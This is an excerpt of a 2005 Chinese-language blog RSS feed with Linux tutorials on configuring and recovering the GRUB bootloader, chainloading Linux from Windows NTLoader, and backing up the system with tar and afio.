href="http://www.linuxforum.net/docnew/showthreaded.php?Cat=&amp;Board=kernel&amp;Number=202&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart=" target=_blank>http://www.linuxforum.net/docnew/showthreaded.php?Cat=&amp;Board=kernel&amp;Number=202&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart=</A> <img src ="http://www.cnitblog.com/cyberfan/aggbug/2064.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 10:54 <a href="http://www.cnitblog.com/cyberfan/articles/2064.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GRUB安装,配置及使用汇总</title><link>http://www.cnitblog.com/cyberfan/articles/2065.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 02:54:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2065.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2065.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2065.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2065.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2065.html</trackback:ping><description><![CDATA[(一)安装linux时安装grub. <BR>安装redhat linux时会提示安装引导程序,如果选择grub为引导程序,建议把grub安装到硬盘的引导扇区MBR.grub 还可以引导其它操作系统，如 FreeBSD、NetBSD、OpenBSD、GNU HURD 和 DOS，以及 Windows 95、98、NT、2000、XP。 <BR>(二)grub的配置 <BR>一旦选择了grub为引导程序,下面我们来了解一下它的配置. <BR>/boot/grub/grub.conf是grub产生一个引导选择菜单以及设置一些选项.下面是我的grub.conf: <BR>#==========例子开始========== <BR># grub.conf generated by anaconda <BR># <BR># Note that you do not have to rerun grub after making changes to this file <BR># NOTICE: You have a /boot partition. This means that <BR># all kernel and initrd paths are relative to /boot/, eg. <BR># root (hd0,6) <BR># kernel /vmlinuz-version ro root=/dev/hda10 <BR># initrd /initrd-version.img <BR>#boot=/dev/hda <BR>default=0 <BR>timeout=10 <BR>splashimage=(hd0,6)/grub/splash.xpm.gz <BR># --&gt; Redhat Linux 8.0 &lt;-- <BR>title Red Hat Linux (2.4.18-14) <BR>root (hd0,6) <BR>kernel /vmlinuz-2.4.18-14 ro root=LABEL=/ <BR>initrd /initrd-2.4.18-14.img <BR># --&gt; Microsoft Windows XP &lt;-- <BR>title Microsoft Windows XP <BR>rootnoverify (hd0,0) <BR>chainloader +1 <BR>#===========例子结束========== <BR>配置选项解释: <BR>以"#"开头的是注释行. <BR>我这里有两个操作系统,分别是Red Hat Linux和Microsoft Windows XP. <BR>其中 timeout标识默认等待时间,我这设置为10秒,超过10秒用户还没作出选择的话,将自动选择默认的操作系统(我这里默认的是Redhat linux 8.0) <BR>默认的操作系统是由default一项来控制的,default后的数字表明第几个是默认的,这里0表示第一个,1表示第二个.所以如果你想修改默认的操作系统,就修改default后的数字. <BR>title一项是设置操作系统的名称,grub不支持中文(有点遗憾). <BR>splashimage一项指定grub界面的背景图片,有兴趣的朋友可以修改grub的背景哦! <BR>root (hd0,6)标识从第一个硬盘,第7个分区来启动搜索引导内核.注意这儿的root与linux的root分区不同,此root非彼root也!grub的硬盘标识方法与linux的有点不同.在linux中第一个主分区为hda1,第二个主分区为hda1,第一个逻辑分区为hda5,而在grub中是以(hdx,y)来标识的,如第一个主分区为(hd0,0)第一个逻辑分区为(hd0,1)依此类推.所以这儿root后面的是你的/boot所在分区标识. <BR>知道了内核在哪儿，还要具体指出哪个文件是内核文件，这就是kernel的工作。 <BR>kernel /vmlinuz-2.2.18-14 ro root=LABEL=/.说明/boot/vmlinuz-2.2.18-14 就是要载入的内核。后面的都是传递给内核的参数。ro是以readonly的意思。注意我这里内核前面的路径是"/",因为我的boot单独分了一个区,如果你没有为boot单独分区,那么内核前面的路径就是"/boot". <BR>initrd用来初始的linux image，并设置相应的参数 <BR>再来看一看windows的定义段吧。 <BR>这里，我添加了一项来引导 WindowsXP。要完成此操作，GRUB 使用了"链式装入器"(chainloader)。链式装入器从分区 (hd0,0) 的引导记录中装入 winXP 自己的引导装入器，然后引导它。这就是这种技术叫做链式装入的原因 -- 它创建了一个从引导装入器到另一个的链。这种链式装入技术可以用于引导任何版本的 DOS 或 Windows。如果你在计算机中装有win98,winme,win2k,winxp的话,chainloader会把引导权交与win的NTLoader来引导. <BR>(三)Grub启动盘的制作 <BR>要制作引导盘，需执行一些简单的步骤。首先，在新的软盘上创建 ext2 文件系统。然后，将其安装，并将一些 GRUB 文件复制到该文件系统，最后运行 "grub" 程序，它将负责设置软盘的引导扇区。 <BR>将一张空盘插入 1.44MB 软驱，输入： <BR># mke2fs /dev/fd0 <BR>创建了 ext2 文件系统后，需要安装该文件系统： <BR># mount /dev/fd0 /mnt/floppy <BR>现在，需要创建一些目录，并将一些关键文件（原先安装 GRUB 时已安装了这些文件）复制到软盘： <BR># mkdir /mnt/floppy/boot <BR># mkdir /mnt/floppy/boot/grub <BR># cp /boot/grub/stage1 /mnt/floppy/boot/grub <BR># cp /boot/grub/stage2 /mnt/floppy/boot/grub <BR>再有一个步骤，就能得到可用的引导盘。 <BR>在linux bash中，从 root 用户运行"grub"，该程序非常有趣并值得注意，因为它实际上是 GRUB 引导装入器的半功能性版本。尽管 Linux 已经启动并正在运行，您仍可以运行 GRUB 并执行某些任务，而且其界面与使用 GRUB 引导盘或将 GRUB 安装到硬盘 MBR 时看到的界面(即GRUB控制台)完全相同。 <BR>在 grub&gt; 提示符处，输入： <BR>grub&gt; root (fd0) <BR>grub&gt; setup (fd0) <BR>grub&gt; quit <BR>现在，引导盘完成了。 <BR>(四).恢复被windows破坏的grub. <BR>如果你用grub来引导linux和windows,当windows出毛病重新安装后,会破坏MBR中的grub,这时需要恢复grub. <BR>1.把linux安装光盘的第一张放到光驱，然后重新启动机器，在BOIS中把系统用光驱来引导。 <BR>2.等安装界面出来后，按［F4］键，也就是linux rescue模式。 <BR>3.一系列键盘以及几项简单的配制，过后就［继续］了。。。这个过程，我不说了，比较简单。 <BR>4.然后会出现这样的提示符: <BR>sh# <BR>5.我们就可以操作GRUB了.输入grub: <BR>sh#grub <BR>会出现这样的提示符: <BR>grub&gt; <BR>我们就可以在这样的字符后面，输入: <BR>grub&gt;root (hdX,Y) <BR>grub&gt;setup (hd0) <BR>如果成功会有一个successful...... <BR>这里的X，如果是一个盘，就是0，如果你所安装的linux的根分区在第二个硬盘上，那X就是1了；Y，就是装有linux系统所在的根分区。 setup (hd0)就是把GRUB写到硬盘的MBR上。 <BR>(五).用NTLoader来引导linux. <BR>如果你在安装linux时没有选择安装grub,不必着急,现在我们来看看如何在安装linux后安装grub.并用windows的NTLoader来引导linux. <BR>1. 安装grub <BR>我用的grub是Redhat8.0带的grub安装包: grub-0.92-7.rpm <BR>安装: rpm -ivh grub-0.92-7.rpm <BR>其他安装方式也一样,只要你安装上grub就行了.RH8缺省用的grub, 1,2步骤可以省了. <BR>2. 建立grub的环境 <BR>cp /usr/share/grub/i386-pc/* /boot/grub <BR>3. 生成grub的配置文件/boot/grub/menu.conf <BR>按照上面所讲的grub.conf来生成一个配置文件. <BR>注意了, 这里我的linux在/dev/hda4,所以menu.conf那些分区位置为(hd0,3), <BR>你的可能不一样了,不能完全照着"画瓢"噢! 下面第3步install的中的分区位置也应该和你的系统一致. <BR>3. 安装grub至Linux分区boot <BR>将grub的stage1安装到/dev/hda4的boot扇区(hd0,3). 过程如下: <BR>/sbin/grub (运行grub) <BR>grub&gt; install (hd0,3)/boot/grub/stage1 d (hd0,3) (hd0,3)/boot/grub/stage2 p (hd0,3)/boot/grub/menu.conf <BR>(注意,上面"grub&gt;"为grub的提示符,其后内容写在一行上.) <BR>4. 取得grub的boot信息 <BR>过程如下: <BR>dd if=/dev/hda4 of=/grub.lnx bs=512 count=1 <BR>这样得到grub的引导信息,只要用NT Loader来加载它就行了. <BR>5. 将上面得到的grub.lnx弄到Windows的C盘根目录下 <BR>可以先把grub.lnx弄得软盘上,然后启动windows,拷贝到C:; 情况允许也可以直接在Linux下拷贝到C:了. 我的C盘(即设备/dev/hda1)为FAT32, 可以直接从Linux下弄过去了. 如下: <BR>mount -t vfat /dev/hda1 /mnt/c <BR>cp /grub.lnx /mnt/c <BR>umount /mnt/c <BR>6. 修改NT Loader的boot.ini <BR>在其中加入一行: C:grub.lnx="Redhat Linux - GRUB" <BR>加入后boot.ini的内容如下: <BR>[boot loader] <BR>timeout=15 <BR>default=C:oot.lnx <BR>[operating systems] <BR>multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional" /fastdetect <BR>[VGA mode]" /basevideo /sos <BR>C:grub.lnx="Redhat Linux - GRUB" <BR>OK. 可以用NT Loader加载Linux了, 其实上面过程基本上和用NT Loader加载LILO一样.其基本思想就是用NT Loader来加载LILO或grub的引导区(grub.lnx), 其中的关键就是LILO或grub的引导区的获取. <BR>(六)活用grub的交互功能 <BR>grub具有强大的交互功能.学会了将会使你受益非浅! <BR>1.grub没有显示菜单怎么办? <BR>当开机后进入grub界面但没了菜单,只剩下一个grub&gt;提示符,怎么启动呢?别急,看下面: <BR>grub&gt;cat (hd0,6)/boot/grub/grub.conf (为了看参数) <BR>grub&gt;root (hd0,6) <BR>grub&gt;kernel (hd0,6)/vmlinuz-2.4.18-14 ro root=LABEL=/ <BR>grub&gt;initrd (hd0,6)/initrd-2.4.18-14.img <BR>grub&gt;boot <BR>OK!启动了吧!以上有些数字要根据你的实际情况更改. <BR>以上这个方法也可以用于测试新编译的内核. <BR>2.进入单用户模式. <BR>有时不小心把root用户密码忘了,只能进入单用户模式来重新设置root密码.方法如下: <BR>开机进入grub界面,按C进入命令行模式,然后按照上面的方法进行,只是在第三步要在后面加入single参数. (以上转载于中国IT实验室) <img src ="http://www.cnitblog.com/cyberfan/aggbug/2065.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 10:54 <a href="http://www.cnitblog.com/cyberfan/articles/2065.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用tar或者afio对linux系统进行备份</title><link>http://www.cnitblog.com/cyberfan/articles/2062.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 02:53:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2062.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2062.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2062.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2062.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2062.html</trackback:ping><description><![CDATA[linux的系统备份一直是从windows转到linux的用户关心的问题。由于众所周知的原因，有经验的windows用户都养成了用ghost等软件备份windows系统的“优良传统”，结果这个优良传统也被移植到了linux下。其实ghost用来备份linux也是很不错的，它的压缩功能能够省下不少的硬盘空间，这点对于硬盘紧张的用户来说的确是相当好用的。不过它也有自己的缺点，那就是必须在DOS下使用，如果只是想要解出某部分文件，就只能用windows版的ghost解压出来……，种种因素使得用ghost用来备份linux成为了一件痛苦的事情。 <BR><BR>实际上，linux自带的tar和afio就可以很好的完成这个工作，而且使用起来也相当方便，最明显的一点就是，不用为了备份系统而重启计算机。好，言归正传。 <BR><BR>1、使用tar进行简单的备份和恢复<BR>1.1备份 <BR>tat命令能够将存档数据写到文件、磁带或者原始磁带设备之中。tar命令的典型语法如下所示： <BR><BR>tar -[ c | x | t ] [ -pv ] -f device path1 path2 ... <BR><BR>tar需要带一个参数命令，通常c表示创建(create)，x表示解压所(extract)，t表示测试(test)。选项p指示tar在解压缩时保留原始文件的所有权和权限。选项v指示tar列出详细操作过程。f选项以及后面的参数指定tar写到给定的设备。所有path1，path2等等参数是要添加到存档中的目录树或者文件。 <BR><BR>例如，要将/usr目录树写到$HOME/Backup/usrbak.tar中，可以使用如下命令： <BR><BR><BR>tar -cf $HOME/Backup/usrbak.tar /usr <BR><BR>如果想要将/usr目录树写到/dev/st0的磁带设备中，可以使用如下命令： <BR><BR><BR>tar -cf /dev/st0 /usr <BR><BR>现在聪明的网友应该已经想到了，想要备份整个linux文件系统的命令是这样： <BR><BR><BR>tar -cf /dev/st0 / <BR><BR>乍看起来的确是这样的，但是，这个命令却实现不了你的意图。首先，这个命令也会备份/proc目录。根据你的内核版本，它将在你的备份中增加数百兆你不需要的内核运行期数据，甚至会引起tar中断或者分段砦?segmentation fault)。 <BR>其次，备份根目录/也会备份/mnt目录，其中会包含装载的CD-ROM数据以及任何装载的网络文件系统甚至于装载的windows分区(这是好事，也可能是坏事，取决于你要做什么)。 <BR><BR><BR>要备份除了/proc和/mnt之外的根目录，使用下面的命令： <BR>tar -cf /dev/st0 $(ls / | grep -v -e proc -e mnt) <BR><BR>这个命令将备份除了/proc和/mnt之外的根目录。 <BR><BR>1.2恢复 <BR>创建了一个tar存档文件之后，通常要将每个文件名前面的斜线“/”删除掉。这意味着当恢复文件时，它们将被恢复到tar运行的相对工作目录中去。例如，要将/dev/st0中的磁带恢复到它们的原始路径中，使用下列命令： <BR><BR><BR>cd /: tar -xpf /dev/st0 <BR><BR>在恢复过程中可以指定附加的路径。这些路径表示列表中的文件被打包后恢复的路径。允许使用通配符。例如要将/dev/st0磁带中的/usr/X11R6和/usr/local目录树恢复到它们的原始路径，命令如下： <BR><BR><BR>cd /;tar -xpf /dev/st0 'usr/X11r6/*/' 'usr/local/*' <BR><BR>还可以用tee命令将处理的的文件列表在终端显示，并同时将文件列表写到一个文件中，命令如下： <BR><BR><BR>cd /;tar -xpf /dev/st0 'usr/X11r6/*/' 'usr/local/*' | tee /var/log/restored.files <BR><BR>有关使用tar进行更加复杂操作的信息，例如多卷，增量备份和恢复等，可以参看tar的manual <BR><BR>注意： <BR>1、在这里一直没有提及tar的z,j选项。tar -cz(j)确实能够创建压缩tar的归档文件，不过这两个压缩都是基于数据流的。也就是说如果数据保存在磁带上，而磁带发生错误的几率是很高的，如果遇到一个无法恢复的位错误，你将不仅失去这个文件，整个磁带也就毁了。 <BR>所以，最好只在错误率低的介质，如硬盘上使用z,j选项。这个问题与基于硬件压缩的磁带设备无关，对于这种设备是无须使用软件压缩的。当然对于大部分网友来说都可以加上z,j选项，毕竟大部分人都没有私人的磁带机。 <BR>2、文中的示范命令行都是以/dev/st0为备份设备的，如果是要备份到文件，只要将该参数改为文件的路径即可,如$HOME/Backup/sysbak.tar <BR>2、使用afio进行简单的备份和恢复<BR><BR>afio命令与tar命令类似，而且afio的存档能够与支持cpio(详细信息可以man cpio)命令的系统共同操作，afio支持对单个文件的压缩，更适合于利用没有硬件压缩功能的磁带进行压缩备份。 <BR><BR>可能你的发行版本没有afio软件包，你可以从<A title=http://scdbackup.webframe.org/afio-2.4.6.tgz获取afio的源代码。 href="http://scdbackup.webframe.org/afio-2.4.6.tgz获取afio的源代码。" target=_blank><FONT color=#002c99>http://scdbackup.webframe.org/afio-2.4.6.tgz获取afio的源代码。</FONT></A> <BR><BR>因为afio将文件列表存档为标准输入流，所以afio的作为存档工具的基本语法包含两个命令： <BR><BR><BR>find path1 path2 ...[-opts] || afio -[i|o|t] [-vZ]device <BR><BR>-i命令用来恢复(input from)磁带或者存档,-o命令(output to)用来写入磁带或者存档，-t命令用来测试磁带或者存档。-v选项对处理文件进行列表，-Z选项在文件写入磁带之前用gzip进行压缩。 <BR><BR>2.1备份 <BR>通常使用find命令来提供afio要处理的文件列表，可以利用find的特殊功能和afio构造一个更专业更灵活的文件存档计划。 <BR>最简单的方式，例如要将/usr目录树写到磁带设备/dev/st0中，使用下列命令： <BR><BR><BR>find /usr | afio -o /dev/st0 <BR><BR>要进行同样的存档操作，但是将每个文件在写到磁带之前进行压缩，使用下列命令： <BR><BR><BR>find /usr | afio -o -Z /dev/st0 <BR><BR>2.2恢复 <BR>要将存档恢复到根目录，可使用-i命令代替-o命令： <BR><BR><BR>cd /;afio -i /dev/st0 <BR><BR>要恢复压缩的文档，需记住要包含-Z选项： <BR><BR><BR>cd /;afio -i -Z /dev/st0 <BR><BR>afio的详细操作与tar命令的详细操作相同。例如，要在恢复存档的同时在终端上显示处理的文件列表，并将列表保存到/var/log目录的一个文件中，命令如下： <BR><BR><BR>afio -i -Z -v /dev/st0 | tee /var/log/restored.files <BR><BR>有关使用afio进行更加复杂操作的信息。可以参见afio的手册。 <BR><BR>备注：<BR>tar和afio用于备份linux已经可以工作得很好，但是可能有些用户还是不习惯使用命令行工具，或者某些用户需要更复杂的，网络功能更强的工具，这是tar或者afio所不能提供的。 <BR><BR>实际上也有不少商用的linux备份方案。比如： <BR>Arkeia <BR><A title=http://www.arkeia.com/ href="http://www.arkeia.com/" target=_blank><FONT color=#002c99>http://www.arkeia.com/</FONT></A> <BR><BR>BRU(Backup and Restore Utility) <BR><A title=http://www.bru.com/ href="http://www.bru.com/" target=_blank><FONT color=#002c99>http://www.bru.com/</FONT></A> <BR><BR>二者都提供了gui界面，而且有很好的网络功能以及一些特性，具体可以参看官网的介绍。当然还有很多的备份软件，不过这两者是比较著名的linux备份方案。 <BR><BR>但是它们两都是商业软件，要想要使用就得掏钱买，否则只能使用它们的试用版了。<img src ="http://www.cnitblog.com/cyberfan/aggbug/2062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 10:53 <a href="http://www.cnitblog.com/cyberfan/articles/2062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>